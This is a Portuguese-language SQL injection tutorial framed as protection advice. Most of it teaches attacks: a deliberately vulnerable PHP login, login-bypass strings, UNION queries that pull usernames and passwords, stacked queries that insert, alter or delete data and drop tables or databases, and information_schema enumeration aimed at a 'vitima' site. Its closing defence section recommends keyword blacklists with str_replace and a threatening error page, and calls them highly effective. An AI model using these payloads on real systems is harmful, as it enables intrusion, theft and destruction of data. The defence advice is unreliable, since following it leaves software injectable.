Você está na página 1de 35

Segurança em rede

Protegendo-se contra sqlinjection

Por: Juancarloscunha
juancarloscunha.wordpress.com
Índice
Criando uma query Pag: 3
Principio do sqlinjection Pag: 5
Criando um sistema de login E senha para testes Pag: 6
Burlar uma query Pag: 9
Burlar um sistema de login e senha Pag: 11
Usando parâmetro UNION Pag: 16
Inserindo dados no banco de dados sem permissão Pag: 17
Alterando dados do banco de dados sem permissão Pag: 19
Excluindo dados do banco de dados sem permissão Pag: 21
Excluindo tabelas do banco de dados sem permissão Pag: 22
Excluindo database sem permissão Pag: 23
Descobrir nome das colunas do banco de dados Pag: 24
Descobrir nomes de tabelas do banco de dados Pag: 26
Protegendo dados do banco pag: 29
Emunizando site, sistema... do sqlinjection pag: 29
Proteção na query pag: 31
conclusão pag: 34

Para você aprender com precisão esta apostila, você precisa de saber:
Básico em php, Básico em linguagem de programação e principalmente saber mexer com banco de dados
Criando uma query

Query é uma execucao feita no banco de dados, como:


Inserir dados do banco de dados, editar dados do banco de dados, deletar dados do banco de dados.
Você pode fazer qualquer coisa que você quiser com uma query, Por isso quando uma pessoa faz um
sqlinjection na query de algum site, ele toma conta do seu site(dependendo si o site tiver inteira conexao
com o banco de dados).
Comandos básicos para fazer uma query.
Select => selecionar tabelas
Insert into => inserir dados no banco de dados
Deletar => deletar dados do banco de dados
Drop => deletar tabela ou database
From => especificar tabelas
Where => Parâmetros da consulta

Exemplo1:
$query_rr = ”select id, nome, descrição, valor, data, tipo from produtos”;

Explicação: selecione as colunas(id,nome,descrição,valor,data,tipo) da tabela produtos

Exemplo2:
$query_rr = INSERT INTO produtos (`nome`,`descricao`, ‘qtd`, `preco`, `status`, `data`)
VALUES (‘NOTEBOOK', 'notebook para pessoas', '3', '1500,00’,qunta', 'notebook', ‘quita feira’);

Explicacao:
Insira na tabela produtos, os dados seguintes: NOTEBOOK na coluna nome, notebook para pessoas na
coluna descrição, 3 para a coluna qtd, 1500,00 para a coluna preço,notebook para a coluna status, quinta
feira para a coluna data.

Exemplo3:
$query_rr = “delete from produtos where cod='1002'”
Explicação:
Delete a linha da tabela produtos em que o cod seja igual 1002

Exemplo4:
$query_rr = “drop database sistema”;

Explicação:
Delete o banco de dados sistema;
Principio do sqlinjection

O principio do sql injection, é você saber o máximo que você pode sobre banco de dados.
Baixe para a sua maquina, o progrma: heidiSQL, ou outro gerenciador de banco de dados.
Pois eles ajudará você a entender muita coisa na injeção de códigos maliciosos.
Para você aprender a injetar códigos sql em uma query, você precisa entender de banco de dados. Assim,
você entenderia como funcionam as consultas sql, e como burlar uma consulta. Para depois
conseqüentemente aprender a si proteger contra estas pecas raras que saem invadindo todos sistemas que
vêem pela frente sem saber com quem está mexendo ou muito menos com quem está lidando, Estas peças
raras são chamados de lammer.
Si você é uma dessas pessoas que querem aprender sql injection, somente para invadir sistemas. Para de ler
esta apostila agora.
Criar um sistema de login e senha para nossos testes
Neste Capitulo, é preciso você saber só um pouquinho sobre html e php.
Existem dois métodos para envio de dados, São eles: $_GET, $_POST.
Para criar um sistema de login você precisa saber enviar dados pelo método $_post[‘dado’];
Para você enviar dados por esse método via post, você precisa de um formulário de envio.

Então vamos la.


Nós vamos criar o sistema de login em php.
Por padrão, o código da pagina.php fica assim: Igual ao html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/


DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>
<body>
</body>
</html>

Vamos criar primeiramente um formulário de envio, e colocar a ação dele(action) para, valida.php.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/


DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
<form id="form1" name="form1" method="post" action="valida.php">
</form>
</body>
</html>

Agora, dentro do formulário de envio. Temos que colocar o campo de login e senha, que neste caso terá os
nomes de: utilizador(login) e passe(password). E um botão para enviar o formulário.

<form id="form1" name="form1" method="post" action="valida.php">


<input type="text" name="utilizador" />
<input type="text" name="passe" />
<input type="button" value="Submit" name="Submit" />
</form>

Criamos a pagina de login.php, e nesta pagina criamos um formulário enviando os dados(login e senha)
para a pagina, valida.php.
Agora, vamos criar a pagina valida.php.
Na pagina valida.php, temos que receber os dados que enviamos, e depois verificar si estes dados existem
no banco de dados.

Então vamos lá...


Na pagina valida.php,
Coloque o código:
<?php
require_once("connection/local.php");//pagina de conexao com banco de dados
$utilizador=$_POST['utilizador'];
$passe =$_POST['passe'];
$passe=sha1($passe);

mysql_select_db($local_database, $local);
$query_rr = "SELECT * from usuarios where usuario='$utilizador' and senha='$passe'";
$rr = mysql_query($query_rr, $local) or die(mysql_error());
$row_rr = mysql_fetch_assoc($rr);
$totalRows_rr = mysql_num_rows($rr);

if($totalRows_rr>""){
header("location:admin/index.php");
}else{
header("location:error.php");
}
?>

Na pagina, admin/index.php.
Coloque o código:
<body>
Bem vindo ao sistema.
</body>

Você precisa de uma pagina de error.


Error.php
Coloque o código:

<body>
Errou a senha<a href=”index.php”>voltar</a>
</body>

Seu sistema está pronto. Só falta você colocar uma pasta chamada “connection”, com documento php
chamado local.php.
Código da pagina, local.php

<?php
$local_host ="localhost";
$local_database ="teste";
$local_passe ="";
$local_user ="root";
$local =mysql_pconnect($local_host,$local_user,$local_passe) or trigger_error(mysql_error(),
E_USER_ERROR);
?>
Este são os dados da conexão com o banco de dados
Agora, basta rodar um servidor wamp na sua maquina e ver como ficou o seu sistema de login.
E tambem voce precisa criar um banco de dados para com as tabelas especificas para voce(agora esta parte
voce vai ter que si virar).
Burlar uma query

Para si burlar uma query, dependendo do nível da query é muito fácil.


E dependendo do seu nível de conhecimento em banco de dados será muito fácil.
Para burlar uma query, você tem que primeiramente aprender sobre a linguagem de programação em banco
de dados. Neste curso, tudo que você vai aprender é burlar uma query(sqlinjection).

Explicação:
Quando um programador faz um recordset(conexão com o banco de dados,query e tudo mais), Ele
geralmente pegam dados pelo método GET ou POST para fazer uma interacao com a linguagem de
programação do site e do banco de dados.

Exemplo:
GET => via URL, --à noticias.php?id=1
POST => via formulário, --à noticias.php

Suponha que você está tentando explorar um site que manda os dados via GET.
noticias.php?id=1

A query desta pagina deve estar mais ou menos assim


Query_rr=”Select id,nome,descricao,data_ini, data_alt from noticias Where id=’$id’”;

Este é o codigo da interação do banco de dados e php. Para quem não percebeu o código que está depois de
noticias.php, ele está jogando o valor 1 para o id. Então no lugar da variável $id, você vai substituir por 1. O
código vai ficar assim:

Query_rr=”Select id,nome,descricao,data_ini, data_alt from noticias Where id=’1’”;

Então, para você realizar um ataque sql injection você tem que pensar o seguinte. Qual o código que eu
posso colocar nesta query para que esse select tenha uma união com outras tabelas do banco de dados. Eu já
pensei em um código.

Tente entender ele.


Id=’1’union select 1,usuario,senha,4,5 from usuarios—
Os traços no final é para deixar o que estiver na frente como comentário.

A query ficará assim:


Query_rr=”Select id,nome,descricao,data_ini, data_alt from noticias Where id=’ 1’union select
1,usuario,senha,4,5 from usuarios—’”;

Tente entender este código.

Leia o capitulo que fala sobre o parametro UNION.


Assim voce entenderá com mais clareza esta query junto do sqlinjection. Leia tambem o capitulo que fala
sobre, como listar dados do banco de dados.
Burlar sistema de login e senha
Para você ententer melhor este capitulo, Eu criei um sistema de login com a mesma lógica de sempre dos
programadores normais.
Si o login e senha estiver corretos, então entra no sistema. Si não tiver certo da um ERRO!

Geralmente, o sistema de login tem a seguinte query(consulta) no banco de dados.


Select * from usuarios where usuário=’$usuario’ and senha=’$senha’

Explicacao >
Selecione tudo da tabela usuarios em que o usuario seja igual ao usuario digitado e a senha seja igual a
senha digitada.

Então, para burlar esta proteção, faça um código injetando neste outro...
Exemplo:
Para você entender melhor o código da vitima.
Select * from usuarios where usuário=’usuario digitado’ and senha=’senha digitada

Para ter acesso a essa pagina de login e senha, vamos usar os seguintes parametros:
-- Comentarios
# Comentários
Or ou
‘’ duas aspas simples que quer dizer NADA(ZERO)

Select * from usuarios where usuário=’’ or cod=1 –

‘or cod=1--
Com esse codigo voce entrará normal no sistema de login e senha.

Explicação:

Selecione tudo da tabela usuarios em que o usuário seja igual a nada ou a coluna cod seja igual 1

Códigos sqlinjection:
‘or’1’=’1
‘or 1=1
‘admin and senha!=’’

Esta falha de login e senha, você pode explorala de varias formas.


Em um sistema com login e senha. Para dar mais emoção e facilidade na hora de explorar o sistema. Vá no
site em que este sistema estiver. Pois provavelmente também conterá uma falha muito maior no site. Em
que você pode descobrir o nome de cada usuário e sua senha

Para quem não entendeu muito bem esta parte da apostila entao, Leia o texto abaixo e tente
endender melhor.

É muito comum hoje em dia, sites terem uma área restrita dedicada somente a administradores dos sites a
fim de editar o conteudo do site(CMS).
Vou mostrar algo aqui neste post, que muitos administradores temeram as pessoas que lerem este
tutorial/post.
Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL.

Introducao:
Vamos a prática:

Dentro desse script .asp, o programador colocou algo desse tipo:

Código:
“select id,usuário,senha from usuarios where usuário=’$usuario’ and senha=’$senha’”;

Isso acima é uma query!


Isso verifica se achou um usuário com o login e senha informados
Sendo que $usuario é o que foi especificado no sistema de login.php,
Então si você especificar no $usuario um código parecido com esse:

Admin --

Explicação:

Si você colocar esse código acima no $usuario(Admin--), dependendo do grau de vulnerabilidade no


sistema de login e senha. Ele entrara normal, sem dar nenhum erro.
Com este código a query, ficaria assim:
Select id,usuário,senha from usuarios where usuário=admin – and senha=’$senha’.

Para quem não lembra os dois traços(--), em linguagem de banco de dados, significa que que está na frente
são comentário. Então na verdade, o que iria valer na query seria.

Select id,usuário,senha from usuarios where usuário=’admin’

Então si existir um usuário no banco de dados chamado “admin”, o seu sqlinjection irá funcionar normal.
Si não funcionar é porque não existe este usuário no banco de dados. Então você terá que partir para a
coleta de informações do alvo. Tipo:
Qual o nome de cada pessoa que utiliza o sistema de login e senha.
Si os nomes são:
Fernando
Algusto
Carlos
Silvio santos
Entao, substitua o “admin” para um dos nomes acima:
Exemplo:
Fernando –
Ou
Algusto –
Ou
Carlos –
Um destes terá que funcionar.

Si nenhum destes códigos funcionar é porque o sistema que você está testando tem um grau de
vulnerabilidade menos fácil de si explorar.

Entao vamos partir para outro método de exploração.

Vamos pensar um pouco:


Código:
select usuario, senha, nome, admin from Users where usuario= 'geek' and senha= 's3nh4'

Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.
Isso funciona muito bem, quando usado de forma certa. Vale lembrar que de 10 sites que pedem login e
senha, 7 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso
que permita aos seus usuários.

Ok. Vamos ao erro:

Se quando formos digitar um login, tivermos essa string de programação do Sql na cabeça, podemos formar
outra facilmente, que injeta um comando de Sql, dentro do que o programador já fez.

Ou seja, se eu digitar Mario no username, o Sql ficará:

Código:
select usuario, senha, nome, admin from Users where usuario= 'Mario' and senha= 's3nh4'

Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele
campo deve ser comparado com um dado do tipo string.

Agora, se digitarmos no username Ma'rio (com uma aspa simples no meio), a página dará um erro, pois o
comando ficaria desse tipo:

Código:
select usuario, senha, nome, admin from Users where usuario= 'Ma'rio' and senha= 's3nh4'
Isso dá erro porque, Falando de caracteres como aspas simples e aspas duplas, quando é usada você precisa
abrir a aspas e depois fecha-la. Si você deixar a aspas abertas entao dará erro.
Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o
conteúdo Ma (Mario) e fechamos a aspa simples. Para o Sql, a comparação terminou aí, o que vem depois,
deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples,
que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string
no SQL, e como não é comparado com nada, o SQL retorna erro de programação.

Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós
não damos a ele, e aproveitando, injetamos um comando nele.

Imagine se usarmos a string ‘ OR’1’ ficaria assim:

Código:
select usuario, senha, nome, admin from Users where usuario= '' or '1' and senha= 's3nh4'

Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuário que seja igual a vazio OU
1. Lembrando que 1 em informítica é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne
o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então
achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1
garante que todos sejam válidos. Agora falta só filtrar a senha.

Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:
Código:
select usuario, senha, nome, admin from Users where usuario= ''or '1' and senha= '' or '1'

Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a
vazio (nenhum) OU verdadeiro (todos).

Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.

Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós
mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.

Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No
username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos
foi enviada por Malmé. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado
e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará
para o registro que o username seja igual ao que foi informando no campo do formulário.

Vou colocar abaixo alguns códigos para você colocar no usuário e senha para ter acesso ao banco de dados.

Usuarios: admin’ or like ‘%%a%%

Usuarios: ‘or’1’=’1

Usuarios: ‘ or like ‘%%d%%

Usuarios: ‘ or cod=1 and senha>’’--

Usuarios: ‘ >’’ and senha>’’--

Usuarios: ’ or usuario>’’ and senha>’’--

OBS: Estude estes codigos sqlinjection e tente executar eles em algum sistema que voce mesmo criar. Ou si
for utiliza-los em algum sistema alvo. Não seja um lammer ou script kiddie que invadem qualquer sistema
que vêem pela frente só para mostrar que sabem. Você na precisa mostrar para ninguém que você sabe. As
pessoas que precisam ver que você sabe.
Usando parâmetro UNION

Muitas pessoas tentam usar o parâmetro UNION no mysql e não consegue só por causa de um erro:
selecionar tudo de duas tabelas selecionadas, Exemplo:
SELECT * FROM parceiros UNION SELECT * FROM usuarios

Isso não tem como a menos que a primeira tabela selecionada tenha o mesmo numero de colunas da
segunda tabela. Que quase sempre não vai ser o caso.

O certo seria fazer o seguinte.


Select cod, nome, valor from parceiros union select cod, usuário, senha from usuarios

Neste select, eu seleciono o mesmo numero de tabelas nos dois selects.

Por isso que quando você vai fazer um sql injection via URL, você precisa primeiro saber o numero de
colunas da tabela selecionada. Para descobrir a quantidade de colunas existentes na tabela. Basta fazer o
seguinte:
Aumentar o codigo
Union select 1,2,3,4,5,6,7

Si der algum erro é porque a tabela tem mais ou menos que 7 colunas, agora si não der ERRo, você tem que
ir aumentando e diminuindo a quantidade de colunas.
No select anterior nos verificamos 7 colunas e não deu erro, então vamos aumentando de um em um até
achar.

Depois de achar a quantidade de colunas existentes no primeiro select, você precisa achar o nome da tabela
dos usuarios OU o nome da tabela que você desejar.

Não vou entrar em muitos detalhes de sql injection, pois meu propósito não é esse aqui neste capitulo.
Inserir dados no banco de dados sem permissao.

Para você inserir dados no banco de dados, você precisa dos nomes das colunas, e para descobrir os nome
das colunas do banco de dados, não será neste capitulo que eu irei ensinar. Então é melhor você da uma
espiada na parte que estou ensinando sobre como descobrir nome das colunas e tabelas do banco de dados.

Então vamos lá

Aqui está o site de teste que nós vamos usar para inserir dados no banco de dados sem permiçao.

Não sei si você já sabe, mais eu quero explicar para que serve o ponto e virgula(;) , no mysql.
; - Serve para você terminar uma execução do banco de dados, e começar outra si assim você quiser.

Exemplo:
Select id,titulo,descricao ,dt_cad,dt_alt from noticias where cod=’$cod’; insert into noticias
(titulo,descricao,dt_cad,dt_alt) values ('tetetetete', 'tetetetetete','tetetetet', '1', 'tetettet', 'tetete');

Então o mais importante você já viu, que é o uso do ponto e virgula(;).


Então vamos entender o código acima que eu criei.
Em uma mesma query, eu estou selecionando dados do banco de dados, e também inserindo dados no banco
de dados.
1º - Select id, titulo,descrição,dt_cad,dt_alt from noticias where cod=’$cod’;
2º - insert into noticias(titulo,descricao,dt_cad,dt_alt) values (‘titulo da noticia aqui’, ‘descricao vai aqui’,
‘data de cadastro aqui’, ‘data de alteração vai aqui’);

Com este código que criei, eu consegui cadastrar uma nova noticia. E depois de cadastrada eu listei a
mesma com a função UNION que já foi explicada.

Criei somente uma noticia básica. Com o dados (tetetetetete), só isso;

Obs: Si não der nenhum ERRO. É porque inseriu os dados com sucesso. Daí, basta você selecionar os dados
que você inseriu
Editar dados do banco de dados sem permissao

Como vocês já devem ter visto, eu criei um código sql injection para inserir dados no bando de dados sem
permissão. Si você já leu, vai perceber que para editar dados do banco de dados; não será tão difícil quanto
pareceu quando você estava começando aprender.
Como foi já explicado, o ponto e virgula(;) no mysql é para finalizar uma execução e criar outra. Por
exemplo:
Você esta selecionando uma devida tabela, porem você quer também editar alguns dados no banco de
dados, para isso você precisa finalizar os dados que você esta selecionando com ponto e virgula(;), Depois
fazer o código para editar os dados do banco de dados.
Exemplo:
Neste site acima, já está sendo executada alguma coisa ai, porque tem ate alguns dados listados ai.

select cod,nome,descricao,img,status,dt_cadastro,dt_alteracao from fabricante where cod='1'; update


fabricante set descricao='deu certo o teste',img='deu certo o teste' where cod='1'

Obs: Para aqueles que não gostam de estudar. Uma noticia mal: Não dá para copiar este código e tentar
colar em algum alvo. Pois, cada banco de dados possui dados diferentes.
Excluindo dados do banco de dados sem permissao.

Para excluir dados é o mais fácil de todos. Pois você não precisa saber os nomes das colunas, só da tabela
que você pretende excluir os dados.
Então para saber como descobrir o nome de uma tabela de um banco de dados, basta ir na parte deste curso
que fala sobre isso.

Explicação:
Novamente vai precisar do ponto e virgula(;).
Depois de fazer o select do próprio site, você vai colocar um ponto e virgula(;) para criar outra execução no
banco de dados.

O código para excluir dados do banco de dados, é esse:

; delete from noticias where cod='1'

Basta alterar os dados para os quais voce quer excluir

Si você quiser excluir tudo que estiver no banco de dados coloque o seguinte código:
; delete from noticias where cod!='0'

OBS: Lembre de colocar no lugar dos espacos o “+’ mais, ou %20 para que não de error, ou use o internet
explorer
Excluindo tabelas do db sem permissao

Para deletar tabelas do banco de dados, voce vai fazer quase a mesma coisa do que deletar dados do banco
de dados. Porem você vai ter que usar dois parâmetros diferentes.
Drop = delete
Table = especificando tabela

; drop table noticias

OBS: Vai ser da mesma forma do deletar conteudo das tabelas. Porem mais facil
Excluindo db sem permissao

Para deletar um banco de dados inteiro de um site, dependendo da situação, da muito trabalho. Porque tem
que saber o qual é o nome do banco de dados(database)
Mais depois que você saber o nome do banco de dados, você só precisa saber os parâmetro.

; drop database <nome do banco de dados>

Obs: de uma olhada na parte do curso que ensina como pegar nome do banco de dados. PARA FICAR
MAIS FACIL A SUA COMPEENCAO
Descobrir nome das colunas do banco de dados

Para descobrir os nomes de todas as colunas do banco de dados, também é uma coisa fácil de fazer.
Para saber os nomes das tabelas do banco de dados, vamos usar um código bastante simples também, porem
um código avançado.

Ei-lo ai:

‘union
select 1,TABLE_NAME,3,4,5,6,COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME!='KKKKK

Explicacao >
_TABLE_NAME > o nome da tabela em que o parametro where, especificará.
_INFORMATION_SCHEMA.COLUMNS > nome da coluna em que o parâmetro WHERE especificará.
_Where column_name!=’kkkkk > em que o nome da tabela seja diferente de ‘kkkkk’

O LINK NO BROWSER FICARIA ASSIM:

http://localhost/teste/index.php?cod=1' union select 1,TABLE_NAME,3,4,5,6,COLUMN_NAME FROM


INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME!='KKKKK
OBS: Entenda este código, pois si você entender, você perceberá que você pode achar qualquer tabela que
você quiser sem muito trabalho
Descobrir nomes de tabelas no banco de dados

Para descobrir quantas tabelas o seu alvo tem criada no sistema. É fácil, porem muitas vezes complexa.
Então, vamos la...
Muitas vezes, quando você tenta fazer um ataque de sqlinjection, você deseja e precisa saber o nome da
tabela que estão cadastradas os usuarios. E para descobrir o nome da tabela de usuarios, muitos que estão
começando a praticar ataques sqlinjection acha muito difícil. Porem, de difícil não tem nada. Si é difícil ou
fácil, isso depende si existe uma vulnerabilidade no sistema.
Antes de explicar na pratica, como descobrir os nomes das tabelas, vou explicar os parâmetros.

TABLE_NAME - este parametro é para especificar um nome de alguma tabela que ainda será chamada.

INFORMATION_SCHEMA - Este parametro é para saber informacoes no banco de dados. Agora,


você precisa, especificar para este comando, quais informações deseja saber.

TABLE_NAME LIKE ‘%%usu%%’ - Este parametro é para selecionar todas as tabelas em que o nome
seja parecido com ‘usu’.

OBS: Aconcelho a todos quando forem treinar sqlinjection em algum sistema, Não saia treinando em
sistemas que não conhece. Treine no seu próprio sistema. Crie paginas simples selecionando dados do
banco de dados.
____________________________________)________________________________

Vamos a pratica agora.


Uma possível pagina vulnerável a sqlinjection, seria por exemplo.

http://www.vitima.com.br/index.php ?cod=’1’

Geralmente, programadores criam consultas simples, exemplo:


Select * from noticias where cod_categoria=’$cod’

Ou seja, SELECIONE TUDO DA TABELA NOTICIAS EM QUE O COD_CATEGORIA SEJA IGUAL


AO COD.

Para burlar isso em um site vulnerável, é a coisa mais fácil do mundo.


Esse é o site:
Agora eu vou mostrar O CODIGO que vou utilizar junto com o que já está sendo usado.

select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9


from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu%
%'

Explicacao >
Selecione tudo da tabela marca em que o cod seja igual a 1, e tambem selecione colunas 1,2,
table_name,4,5,6,7,8,9 da tabela INFORMATION_SCHEMA.tables em que o nome da tabela seja parecido
com ‘usu’

Nosso código deu certo.


Agora, si você quiser listar todoas as tabelas do banco de dados em que o nome da tabela seja parecido em
‘A’
Acrescente o código, or table_name like ‘%%a%%’
select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9
from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu%
%' or table_name like ‘%%a%%

Para explorar mais coisas sobre esta vulnerabilidade, basta estudar um pouco sobre sql
E verá que você poderá fazer tudo nesta vulnerabilidade.
Emunizando site, sistema... do sqlinjection, Protegendo
dados do banco, Protegendo sistema de login e senha

Para você eminizar o seu site,sistema,portal... é uma tarefas fácil para quem sabe. Mais mesmo assim,
existem muitos grandes genius porai que ainda assim conseguem executar um sqlinjectio contra e sistema...
Então eu vou tentar explicar de uma forma mais pratica de como si livrar de vulnerabilidades de
sqlinjection contra seu site.

Existem muitas formas de si combater o sqlinjection. Vou ensinar somente duas maneiras mais fáceis de si
proteger.

Quando você está lidando com códigos numéricos via GET ou POST. A maneira mais fácil e melhor de si
proteger, é quando você for pegar as variáveis via GET ou POST, fazer validação si estas variáveis são
mesmo números. Si não for números é porque está havendo um ataque sqlinjection, então crie uma pagina
de alert ao hacker que está tentando invadir seu sistema. Exemplo:

ERROR, pois você está tentando fazer um sqlinjection. Eu gravei alguns dados seu, inclusive o seu ip.
Tente mais uma vez e eu te procurarei por toda parte do mundo, com a policia do meu lado.

Faça uma pagina de erro parecida com essa, para aqueles que estiverem tentando invadir sua pagina, ficar
com medo.

Código de validação numérica:

if(!is_numeric($_POST['codigo'])){
header("location:paginaerror.php")
}

Outro código de validação numérica:

$codigo=(int)$_POST[‘codigo’]; /*pegando variável via post,si a variável for numérica*/


Agora, vem a parte mais difícil de si ligar, que é as variáveis via POST ou GET que não são
geralmente numéricas.

Então para, fazer a validação si estas variáveis não são um ataque sqlinjection, Faça da seguinte forma as
validações:
Use:
Str_replace(‘aser mudado’,’mudado’, $oque foi mudado);
Este parâmetro acima, é para retirar palavras, caracteres que você não quer que entre na variável.

Vamos a pratica:
Codigo validação:

$variavelrecebe =$_POST[‘variavel’];
$variavelrecebe =str_replace("'","",$variavelrecebe);
$variavelrecebe =str_replace("+","",$variavelrecebe);
$variavelrecebe =str_replace("%","",$variavelrecebe);
$variavelrecebe =str_replace(" ","",$variavelrecebe);
$variavelrecebe =str_replace("-","",$variavelrecebe);
$variavelrecebe =str_replace("select","",$variavelrecebe);
$variavelrecebe =str_replace("update","",$variavelrecebe);
$variavelrecebe =str_replace("drop","",$variavelrecebe);
$variavelrecebe =str_replace("delete","",$variavelrecebe);
$variavelrecebe =str_replace("database","",$variavelrecebe);
$variavelrecebe =str_replace("table","",$variavelrecebe);

Nesta validação acima nós retiramos alguns caracteres especiais e alguns parâmetros que geralmente são
utilizados no sqlinjection..
Retiramos: aspa simples(‘), mais(+),porcentagem(%),espaço( ), traço(-), select,update, drop,
delete,database,table

Para vocês que sabem outros métodos de proteção contra sqlinjection, mande um email para mim com o
código de proteção, para mim dar uma analizada(juancarloscunha606@hotmail.com)
Proteção na query

Existem muitas formas de se proteger contra ataques sqlinjection.


Vou explicar uma das mais usadas.

Si você não quer que a pessoa faça com o sql injection, selects a mais do que você colocou. Basta fazer o
seguinte:
Ao pegar os dados e colocar em uma variável, e colocar uma validação, para toda vez que tiver a palavra
“select” na variável, então troque por ”nada”.
Exemplo:

$utilizador = $_POST[‘utilizador’];
$utilizador =str_replace(“select”,””, $utilizador);

Para você bloquiar todos os ataques, faca varias trocas com a função str_replace.

$utilizador = $_POST[‘utilizador’];
$utilizador =str_replace(“select”,””, $utilizador);
$utilizador =str_replace(“union”,””, $utilizador);
$utilizador =str_replace(“update”,””, $utilizador);
$utilizador =str_replace(“insert”,””, $utilizador);
$utilizador =str_replace(“;”,””, $utilizador);
$utilizador =str_replace(“’”,””, $utilizador);
$utilizador =str_replace(“from”,””, $utilizador);
$utilizador =str_replace(“where”,””, $utilizador);

Essa é uma das protecoes mais eficientes que está tendo hoje.

Todo esse código é porque estes dados contem números e letras. Agora, quando você vai pegar um código
com somente números de algum lugar. Basta fazer o seguinte:

$codigo =$_POST[‘codigo’];
if(!is_numeric($codigo){
header("location: error.php");
}

Este código diz:


Si o código que eu peguei via post, for diferente de números, Entao manda para uma pagina de erro
Conclusão
Em um sistema que voce usa banco de dados, é melhor você tentar si proteger de todas as formas,
pois os hackers do mal estao a solta. Esta apostila para você, terá que ser uma mera motivacão para
estudos mais avancados sobre, como proteger um sistema que si conecta no banco de dados.
Lendo esta apostila você deve ter compreendido que, si um sistema,site... não estiver protegido, não é
muito dificil de algum hacker do mal invadir seu site.
Bibliografia

juancarloscunha.wordpress.com
Segurança em rede
Protegendo-se contra sqlinjection

Por: Juancarloscunha
juancarloscunha.wordpress.com